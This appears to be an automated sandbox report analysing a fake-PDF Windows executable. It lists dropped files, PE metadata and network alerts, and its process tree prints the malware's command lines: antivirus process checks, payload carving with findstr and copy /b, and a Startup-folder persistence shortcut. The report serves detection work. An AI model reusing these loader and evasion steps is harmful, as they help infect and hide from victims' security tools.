Preview:	..0Q'.z.U....=......\|........W....M......}.w......=Sl...R._cDX...w.C1.L...).^Thm..rL..@"..Ek...=mHr.......Ifit1.2...$;....!.."%..1.i....7.../.#g 9z.s..e,..6.....T..#.O....G......!..Fo..t@._.>.`H:.;........O....w,.........?...$..G..i.._g...#..j.E}.......H..Q.....B.cK.B........k....Oi...&...5..n... ....&...V.mY..>..\......`.'\.....rD...2.Mnq.Oz.v...c..L...W/...Ay.F..V.QOZ.,.s..Q..$....a.RH!T....5u..B...B..CW..+mR..z?.....\....8.k@......3..'..G..\|`....L........tu.9..(I.T^...K...y4.C.Z.9O.....-...'o!..... 7J.S."!..H..Kb...X.<.....;Yx3..vP.Cz.l...._.'>?.o..}GV..]........U....S>(....V.p.u....S...3&z..=CR.m*..&....#b.!.E....~.......X.b.._.C.....t.=^S.U.+.$.}m..e.M.B+."....!..92.z.k..1.N=]..}cC2..Q.e.w.LF..pb....dg.M......'.....mN..\|.!E..2.].!r..QY]X(.~.2..F>"...Eh.sA.R.]..}.-.^.]..OQ.Zd.....\.....".b.\|A...F..T&...O...(..y,5.7.x..Z.<..}A....^.....$..~ls.\|...S.DK.\.g\..b...g.p......a...,.T...r......\...\.;.o.Z#.,./...i....g.....

C:\Users\user\AppData\Local\Temp\Presentations

Download File

Process:	C:\Users\user\Desktop\scan_doc_zapit_836893.pdf.exe
File Type:	data
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	7.996708631018947
Encrypted:	true
SSDEEP:	768:z6eiW6Vn25bULXUQExnfWj/WgeXe+ATKvStQbunv4rCiGmRYBvze:LiWa25ILXUQGo/heXeDuKtr4rgBS
MD5:	BDAD8A1F1980AC434AF0C3D0B92F8743
SHA1:	63B20AD7AADE68D1F0BF51085044FBF91A209323
SHA-256:	4B9785E33AB65B14ABD3167EFBBF6DB248B3E36B30A32FDB0105AC29FF51615E
SHA-512:	E515A5E58ECD18B089B52AF3E8ADE5DE97474736DFCA896FD5C1043C79347916FC2CFA53B658B058833D0F9E1B8D542BA8F56D749B318399A71E6034CE282194
Malicious:	false
Preview:	..".".......}.......a.........(..4D.wU_;....F...3....;...m.=...[.F...m..X^U^...I...B..8.J..KC.h..jY........6....f.. w\.%.YZK...Qg.p..2Y:8p_.]5...Dv6.A.g.zR..iw.wI..n..1q..}).4.b.....R.U..}r.7...s.....-#:.....e..........m+....l./n....Y...... R....H.d..f.;.......k.}..H..J.g\|...6..F....R...i.7..E7.f.R...n..O.....o......:r......B.3b..f..d1H{...5.................M....xB.' . .r.5..Ded.m...K.!\T..\|...dt.v..i...B...K..7.'..+.F.......5.Js.H..q..m..............q.s'.tCk3..e...IQ..E....?..\|{.6...'.w.w..a....H..aM...w..^I..a...&.).F..."s7..P.....e.Z...e..X@W(.-...o.5'/x.......;..A`^..Cj..}.?.s3...s..P_..o...M>.f....N..Y.,..{C.F.].7.Y.g..;...g.$pu......t......Bb....Y.U.(#...S-3.~..4..Yz.!..4.A5Y/..j.4....d..#.......Y\Syu...E.........m....F..n.U.2P..g.....,({..o......d. ..s.f..Q.T.....n8V ...........J..._.o.N..T....q._].U[ndvKy.......%.....m.\|3......2i....5<.\wN...h.3....-......0]N.Y....\|...`...".8..fI#.ww...y:~>..`.Z....^....h....Xv6c.9..3U..

C:\Users\user\AppData\Local\Temp\Tim

Download File

Process:	C:\Users\user\Desktop\scan_doc_zapit_836893.pdf.exe
File Type:	data
Category:	dropped
Size (bytes):	886916
Entropy (8bit):	6.622152202054227
Encrypted:	false
SSDEEP:	12288:HV0etV7qtINsegA/rMyyzlcqakvAfcN9b2MyZa31tqoPTdFbgawV2501:1xz1JMyyzlohMf1tN70aw8501
MD5:	3E017BD65EDFF0C040B35106A5C834AB
SHA1:	13A2011D56607D8315A96D3FE649D94B5C92535B
SHA-256:	961732D6B3C27D17BE771FC4347FD0B7C8D7A86F2FF9A3A6447553927E56E447
SHA-512:	B163879943E2778A2D682815DEA2FA15523CAB3F364E244CD6E508E6C99D1CB4BC466796443962E959BDA7EEDFCC3578218CA2DFF382485C632D55009B7BF671
Malicious:	false
Preview:	...j..u...8.I.j.....I._^[..]..........t....j...........E...sL.k.C.P&@.W&@..%@...C..%@.W&@................................U..8xL.....M.....t...9.t..@...M..J....@...]...Q.M..E.......H.I..E..8xL..E.P......E...U..M....t.W.}......N..._]...U..QQSVW.}..E.P..7....I..E...l....E...p....E.PV..p.I..M..E.;.t...uc;.x...u[.s..5..I....s........E.......E....;.\|.....a....}..t...\|...;............}..t......._^[..]....}....t.....x...\|......U...M.VW...........\|P;......H.Bt.......t<.u..@....M.....B`....8.t".....\|.;........Bt....8.t..._^]...2...U..V..W.}.;............Ft.......t.Q.?....Ft.... .......;.....u?...\|..Ft......8.u.O......}..........Nx.Nx.Ft.4......FtY.Nx.$...~x.v..Nx.Ft.D...8.t._^]..................j...U..Q..(xL.VW9.0xL.un.=4xL...........h.........Y..................E..}.P. xL......54xL.F.54xL...$xL.....0xL.....9.M..I..O._^..]...j.^3.;.~...$xL....98u#h.....[...Y..t..............3..F;.\|...U..V.u.W....t$j.V..\.I.;Gxs..Ot.......t.91u._^]........U..V.u.W....t$j.V..\.I.;Gds..O`.......t.91

C:\Users\user\AppData\Local\Temp\Tournaments

Download File

Process:	C:\Users\user\Desktop\scan_doc_zapit_836893.pdf.exe
File Type:	data
Category:	dropped
Size (bytes):	6725
Entropy (8bit):	6.182223398021148
Encrypted:	false
SSDEEP:	192:97HAeOqAFDw09CV/2nPvj6DdMP3r1HI5jMM:97HAHhww+/2nlP3r1W7
MD5:	E705FAE954799FD7B4782DC9FFA24252
SHA1:	03BEDEB38DF07BC6C99A7EA031DDC070A929F8FA
SHA-256:	D33FEA9A49EB3992712B778354C6CD3D295914F4A8A8233AB6EE40DD6658F4D7
SHA-512:	4585A7959D13D2E5AAE9C054CED4FD76AF9B6CA3191E2E95983F324255D18D2D8F130574D2DF81E0D457B1BDCB2ED1F782A344FF8F0ED850726131F3200EB119
Malicious:	false
Preview:	venezuelalandscapesmeantposters..MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........sD.R..R..R...C..P.....S.._@..a.._@....._@..g..[j..[..[j..w..R.+.r...........S.._@..S..R...P.....S..RichR.*.........................PE..L...._pZ.........."...............................@.......................................@...@.......@.........................\|.......P....................p...q...;.............................. [..@............................................text............................... ..`.rdata..............................@..@.data...t........R..................@....rsrc...P............<..............@..@.reloc...q...p...r..................@..B...............................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Yes

Download File

Process:	C:\Users\user\Desktop\scan_doc_zapit_836893.pdf.exe
File Type:	ASCII text, with very long lines (579), with CRLF line terminators
Category:	dropped
Size (bytes):	14057
Entropy (8bit):	5.1259091890276025
Encrypted:	false
SSDEEP:	384:aWnlPWFmCQNn03GQgWn7T9pNKXt7eyXltROCzs0+aPvwDg5N3s:aWnlPWFmCQN03UO7heXrDRZvwmN8
MD5:	06A9A6DC642BD8A1484F766845040DDF
SHA1:	A187C475793221D9A6B1591F0D9EF1F63E98E356
SHA-256:	C3C049F72B5BCDE6CC340DA0DE09FC83DA25D29EB967DC55F40D7F54514672D7
SHA-512:	D8E28ECD387C128F1B4E871E0BC5F89D23866D1645B1DA4A6A090F122EB76B3E99C8CA76B3C3B7DB0FDE36515069965BF79A1B67114ACE7AD4CEA2D9265D0CEB
Malicious:	false
Preview:	Set Uses=V..XPAmateur-Refined-Alternatively-Census-Mail-Participate-Edwards-Jamaica-North-..BiEgg-Subaru-Facing-Developers-Gt-Honor-..gVgDiversity-Greene-Organ-Increases-Exempt-Gnu-Particles-Details-..VWExplorer-Tamil-..IPoSimply-Liberty-Races-Fares-Moss-Express-Monitors-..GBzBulgarian-Infectious-Cock-Tablet-Cattle-Adolescent-..okAgRehab-..KqzRolling-..Set Choosing= ..dmBDLands-Compatibility-Senegal-Adjustment-Retention-..ivAsMonaco-Easy-Banned-..DEwSacred-Renaissance-Delta-Possess-Budgets-Es-Acoustic-..ujGeo-Meal-Greece-Sleeps-..ycJVBikini-Vote-Dividend-Wheels-Preview-Dirty-Modified-Children-Affordable-..LnSectors-Prove-Dip-Lauderdale-Porno-Proposed-Reproduced-Skype-..lrProhibited-Committee-Intervals-Deviant-Institution-Cholesterol-Til-Bitch-Promoting-..OYKvHurt-..Set Corp=7..DgnjSmoke-Fortune-Zoophilia-Habitat-Sail-..krDSArbitrary-Discussing-Corn-Duo-Americas-Alot-Brussels-Practice-Handmade-..XyhRFundamental-Looks-Anne-Sharp-Venezuela-Abuse-Seattle-..XRQnTracker-Pirates-Acdbentity-Se

C:\Users\user\AppData\Local\Temp\Yes.bat

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with very long lines (579), with CRLF line terminators
Category:	dropped
Size (bytes):	14057
Entropy (8bit):	5.1259091890276025
Encrypted:	false
SSDEEP:	384:aWnlPWFmCQNn03GQgWn7T9pNKXt7eyXltROCzs0+aPvwDg5N3s:aWnlPWFmCQN03UO7heXrDRZvwmN8
MD5:	06A9A6DC642BD8A1484F766845040DDF
SHA1:	A187C475793221D9A6B1591F0D9EF1F63E98E356
SHA-256:	C3C049F72B5BCDE6CC340DA0DE09FC83DA25D29EB967DC55F40D7F54514672D7
SHA-512:	D8E28ECD387C128F1B4E871E0BC5F89D23866D1645B1DA4A6A090F122EB76B3E99C8CA76B3C3B7DB0FDE36515069965BF79A1B67114ACE7AD4CEA2D9265D0CEB
Malicious:	false
Preview:	Set Uses=V..XPAmateur-Refined-Alternatively-Census-Mail-Participate-Edwards-Jamaica-North-..BiEgg-Subaru-Facing-Developers-Gt-Honor-..gVgDiversity-Greene-Organ-Increases-Exempt-Gnu-Particles-Details-..VWExplorer-Tamil-..IPoSimply-Liberty-Races-Fares-Moss-Express-Monitors-..GBzBulgarian-Infectious-Cock-Tablet-Cattle-Adolescent-..okAgRehab-..KqzRolling-..Set Choosing= ..dmBDLands-Compatibility-Senegal-Adjustment-Retention-..ivAsMonaco-Easy-Banned-..DEwSacred-Renaissance-Delta-Possess-Budgets-Es-Acoustic-..ujGeo-Meal-Greece-Sleeps-..ycJVBikini-Vote-Dividend-Wheels-Preview-Dirty-Modified-Children-Affordable-..LnSectors-Prove-Dip-Lauderdale-Porno-Proposed-Reproduced-Skype-..lrProhibited-Committee-Intervals-Deviant-Institution-Cholesterol-Til-Bitch-Promoting-..OYKvHurt-..Set Corp=7..DgnjSmoke-Fortune-Zoophilia-Habitat-Sail-..krDSArbitrary-Discussing-Corn-Duo-Americas-Alot-Brussels-Practice-Handmade-..XyhRFundamental-Looks-Anne-Sharp-Venezuela-Abuse-Seattle-..XRQnTracker-Pirates-Acdbentity-Se

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\NanoCipher.url

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	MS Windows 95 Internet shortcut text (URL=<"C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.js" >), ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	100
Entropy (8bit):	4.776014505759607
Encrypted:	false
SSDEEP:	3:HRAbABGQaFyw3pYoN+E2J5rYFAeGd+UbIFc:HRYF5yjoN723cFRILbF
MD5:	2A5A23A239972BD7B3931A9281593673
SHA1:	EAF817F918C619CE815E4A0C7B33890E8B27EBC7
SHA-256:	AEA220511E27DB677B560C6B39CDD1BBFD54F3CC8CBBC0A3C69D52B8EDADA267
SHA-512:	A3F60FDBA82BE6DBA616AC42FE89E9A3B69E1EF705E63910E4FD8CBB76F7AAD47B11820B35079789D3627675ECEBE1DAC22B99504DF4A147FCA9E11A85B9E69A
Malicious:	true
Preview:	[InternetShortcut] ..URL="C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.js" ..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.970394348387481
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	scan_doc_zapit_836893.pdf.exe
File size:	1'039'137 bytes
MD5:	cbcb0ff5aa471e22a6b129196a556d97
SHA1:	b3dca2cac1624e6a8b318708c02376c1eb6ab784
SHA256:	5c1ce789a60371e388881ffbe0311bd2829e5e8dbaf77506929e50638f22d866
SHA512:	b98bb17994d5fdf38cb3a181bc15c3f64779aa33f7a508d1a9ce1e2ab1b1a2d9260c2dcdaf8c4f597738827a4df6f906c55903dfdc0da9216e3f656b8e0a73e0
SSDEEP:	24576:B6p9TyXofw1dupRAygiMPlqD8j0DbxqmELM+cYbaD:0XyXo6dupOeMPlqQjexqmEBaD
TLSH:	4A2523158F812835DAAA09717CB62A331BA6BF1609F4C51B4384CA3C7E32BD7535D7B2
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......A{.k...8...8...8.b<8...8.b,8...8...8...8...8...8..%8...8.."8...8Rich...8........PE..L.....GO.................n.......B...8.....

File Icon


Icon Hash:	6066ced2d0c4fc0c

Static PE Info

General

Entrypoint:	0x403883
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x4F47E2DA [Fri Feb 24 19:19:54 2012 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	be41bf7b8cc010b614bd36bbca606973

Authenticode Signature

Signature Valid:
Signature Issuer:
Signature Validation Error:
Error Number:
Not Before, Not After
Subject Chain
Version:
Thumbprint MD5:
Thumbprint SHA-1:
Thumbprint SHA-256:
Serial:

Entrypoint Preview

Instruction
sub esp, 000002D4h
push ebx
push ebp
push esi
push edi
push 00000020h
xor ebp, ebp
pop esi
mov dword ptr [esp+18h], ebp
mov dword ptr [esp+10h], 00409268h
mov dword ptr [esp+14h], ebp
call dword ptr [00408030h]
push 00008001h
call dword ptr [004080B4h]
push ebp
call dword ptr [004082C0h]
push 00000008h
mov dword ptr [00472EB8h], eax
call 00007F1FC47FC93Bh
push ebp
push 000002B4h
mov dword ptr [00472DD0h], eax
lea eax, dword ptr [esp+38h]
push eax
push ebp
push 00409264h
call dword ptr [00408184h]
push 0040924Ch
push 0046ADC0h
call 00007F1FC47FC61Dh
call dword ptr [004080B0h]
push eax
mov edi, 004C30A0h
push edi
call 00007F1FC47FC60Bh
push ebp
call dword ptr [00408134h]
cmp word ptr [004C30A0h], 0022h
mov dword ptr [00472DD8h], eax
mov eax, edi
jne 00007F1FC47F9F0Ah
push 00000022h
pop esi
mov eax, 004C30A2h
push esi
push eax
call 00007F1FC47FC2E1h
push eax
call dword ptr [00408260h]
mov esi, eax
mov dword ptr [esp+1Ch], esi
jmp 00007F1FC47F9F93h
push 00000020h
pop ebx
cmp ax, bx
jne 00007F1FC47F9F0Ah
add esi, 02h
cmp word ptr [esi], bx

Rich Headers

Programming Language:

[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[ C ] VS2010 SP1 build 40219
[RES] VS2010 SP1 build 40219
[LNK] VS2010 SP1 build 40219

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x9b34	0xb4	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xf4000	0xf2c2	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0xecab9	0x2868	.ndata
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x7a000	0x964	.ndata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8000	0x2d0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x6dae	0x6e00	00499a6f70259150109c809d6aa0e6ed	False	0.6611150568181818	data	6.508529563136936	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x2a62	0x2c00	07990aaa54c3bc638bb87a87f3fb13e3	False	0.3526278409090909	data	4.390535020989255	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xb000	0x67ebc	0x200	014871d9a00f0e0c8c2a7cd25606c453	False	0.203125	data	1.4308602597540492	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x73000	0x81000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xf4000	0xf2c2	0xf400	aec88f3b454ad504386a8a8bb6fc80ff	False	0.8862704918032787	data	7.535669064709142	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x104000	0xf32	0x1000	00f8dff5d6dd3420f4cf2356b4d746ee	False	0.590576171875	data	5.421574592155926	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xf4268	0x8cfa	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.9912718204488778
RT_ICON	0xfcf64	0x2495	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced	English	United States	1.001174586225307
RT_ICON	0xff3fc	0x2668	Device independent bitmap graphic, 48 x 96 x 32, image size 9792	English	United States	0.5916395443449959
RT_ICON	0x101a64	0x1128	Device independent bitmap graphic, 32 x 64 x 32, image size 4352	English	United States	0.6641621129326047
RT_DIALOG	0x102b8c	0x100	data	English	United States	0.5234375
RT_DIALOG	0x102c8c	0x11c	data	English	United States	0.6056338028169014
RT_DIALOG	0x102da8	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x102e08	0x3e	data	English	United States	0.8225806451612904
RT_VERSION	0x102e48	0x1a4	data	English	United States	0.5642857142857143
RT_MANIFEST	0x102fec	0x2d6	XML 1.0 document, ASCII text, with very long lines (726), with no line terminators	English	United States	0.5647382920110193

Imports

DLL	Import
KERNEL32.dll	SetFileTime, CompareFileTime, SearchPathW, GetShortPathNameW, GetFullPathNameW, MoveFileW, SetCurrentDirectoryW, GetFileAttributesW, GetLastError, CreateDirectoryW, SetFileAttributesW, Sleep, GetTickCount, GetFileSize, GetModuleFileNameW, GetCurrentProcess, CopyFileW, ExitProcess, GetWindowsDirectoryW, GetTempPathW, GetCommandLineW, SetErrorMode, lstrcpynA, CloseHandle, lstrcpynW, GetDiskFreeSpaceW, GlobalUnlock, GlobalLock, CreateThread, LoadLibraryW, CreateProcessW, lstrcmpiA, CreateFileW, GetTempFileNameW, lstrcatW, GetProcAddress, LoadLibraryA, GetModuleHandleA, OpenProcess, lstrcpyW, GetVersionExW, GetSystemDirectoryW, GetVersion, lstrcpyA, RemoveDirectoryW, lstrcmpA, lstrcmpiW, lstrcmpW, ExpandEnvironmentStringsW, GlobalAlloc, WaitForSingleObject, GetExitCodeProcess, GlobalFree, GetModuleHandleW, LoadLibraryExW, FreeLibrary, WritePrivateProfileStringW, GetPrivateProfileStringW, WideCharToMultiByte, lstrlenA, MulDiv, WriteFile, ReadFile, MultiByteToWideChar, SetFilePointer, FindClose, FindNextFileW, FindFirstFileW, DeleteFileW, lstrlenW
USER32.dll	GetAsyncKeyState, IsDlgButtonChecked, ScreenToClient, GetMessagePos, CallWindowProcW, IsWindowVisible, LoadBitmapW, CloseClipboard, SetClipboardData, EmptyClipboard, OpenClipboard, TrackPopupMenu, GetWindowRect, AppendMenuW, CreatePopupMenu, GetSystemMetrics, EndDialog, EnableMenuItem, GetSystemMenu, SetClassLongW, IsWindowEnabled, SetWindowPos, DialogBoxParamW, CheckDlgButton, CreateWindowExW, SystemParametersInfoW, RegisterClassW, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharNextA, CharUpperW, CharPrevW, wvsprintfW, DispatchMessageW, PeekMessageW, wsprintfA, DestroyWindow, CreateDialogParamW, SetTimer, SetWindowTextW, PostQuitMessage, SetForegroundWindow, ShowWindow, wsprintfW, SendMessageTimeoutW, LoadCursorW, SetCursor, GetWindowLongW, GetSysColor, CharNextW, GetClassInfoW, ExitWindowsEx, IsWindow, GetDlgItem, SetWindowLongW, LoadImageW, GetDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, EndPaint, FindWindowExW
GDI32.dll	SetBkColor, GetDeviceCaps, DeleteObject, CreateBrushIndirect, CreateFontIndirectW, SetBkMode, SetTextColor, SelectObject
SHELL32.dll	SHBrowseForFolderW, SHGetPathFromIDListW, SHGetFileInfoW, ShellExecuteW, SHFileOperationW, SHGetSpecialFolderLocation
ADVAPI32.dll	RegEnumKeyW, RegOpenKeyExW, RegCloseKey, RegDeleteKeyW, RegDeleteValueW, RegCreateKeyExW, RegSetValueExW, RegQueryValueExW, RegEnumValueW
COMCTL32.dll	ImageList_AddMasked, ImageList_Destroy, ImageList_Create
ole32.dll	CoTaskMemFree, OleInitialize, OleUninitialize, CoCreateInstance
VERSION.dll	GetFileVersionInfoSizeW, GetFileVersionInfoW, VerQueryValueW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-31T14:37:56.122278+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	4.245.163.56	443	192.168.2.6	49744	TCP
2024-10-31T14:38:36.677956+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	4.245.163.56	443	192.168.2.6	49920	TCP

Network Port Distribution

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 31, 2024 14:37:44.137069941 CET	59858	53	192.168.2.6	1.1.1.1
Oct 31, 2024 14:37:44.151463032 CET	53	59858	1.1.1.1	192.168.2.6
Oct 31, 2024 14:38:02.072853088 CET	60678	53	192.168.2.6	1.1.1.1
Oct 31, 2024 14:38:02.086817026 CET	53	60678	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 31, 2024 14:37:44.137069941 CET	192.168.2.6	1.1.1.1	0xf93f	Standard query (0)	EPjDBRbjWjdkBwcRYTSjrZwkKu.EPjDBRbjWjdkBwcRYTSjrZwkKu	A (IP address)	IN (0x0001)	false
Oct 31, 2024 14:38:02.072853088 CET	192.168.2.6	1.1.1.1	0xd262	Standard query (0)	EPjDBRbjWjdkBwcRYTSjrZwkKu.EPjDBRbjWjdkBwcRYTSjrZwkKu	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 31, 2024 14:37:44.151463032 CET	1.1.1.1	192.168.2.6	0xf93f	Name error (3)	EPjDBRbjWjdkBwcRYTSjrZwkKu.EPjDBRbjWjdkBwcRYTSjrZwkKu	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 14:38:02.086817026 CET	1.1.1.1	192.168.2.6	0xd262	Name error (3)	EPjDBRbjWjdkBwcRYTSjrZwkKu.EPjDBRbjWjdkBwcRYTSjrZwkKu	none	none	A (IP address)	IN (0x0001)	false

Target ID:	0
Start time:	09:37:35
Start date:	31/10/2024
Path:	C:\Users\user\Desktop\scan_doc_zapit_836893.pdf.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\scan_doc_zapit_836893.pdf.exe"
Imagebase:	0x400000
File size:	1'039'137 bytes
MD5 hash:	CBCB0FF5AA471E22A6B129196A556D97
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	09:37:37
Start date:	31/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c copy Yes Yes.bat & Yes.bat
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	09:37:37
Start date:	31/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	09:37:38
Start date:	31/10/2024
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist
Imagebase:	0xc70000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	09:37:38
Start date:	31/10/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr /I "wrsa opssvc"
Imagebase:	0xd0000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	09:37:39
Start date:	31/10/2024
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist
Imagebase:	0xc70000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	09:37:39
Start date:	31/10/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr -I "avastui avgui bdservicehost nswscsvc sophoshealth"
Imagebase:	0xd0000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	09:37:39
Start date:	31/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c md 185027
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	09:37:39
Start date:	31/10/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr /V "venezuelalandscapesmeantposters" Tournaments
Imagebase:	0xd0000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	09:37:40
Start date:	31/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c copy /b ..\Martin + ..\Organizing + ..\Finnish + ..\Determined + ..\Already + ..\Presentations + ..\Hint H
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	09:37:40
Start date:	31/10/2024
Path:	C:\Users\user\AppData\Local\Temp\185027\Spy.pif
Wow64 process (32bit):	true
Commandline:	Spy.pif H
Imagebase:	0xa80000
File size:	893'608 bytes
MD5 hash:	18CE19B57F43CE0A5AF149C96AECC685
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 5%, ReversingLabs
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	09:37:40
Start date:	31/10/2024
Path:	C:\Windows\SysWOW64\choice.exe
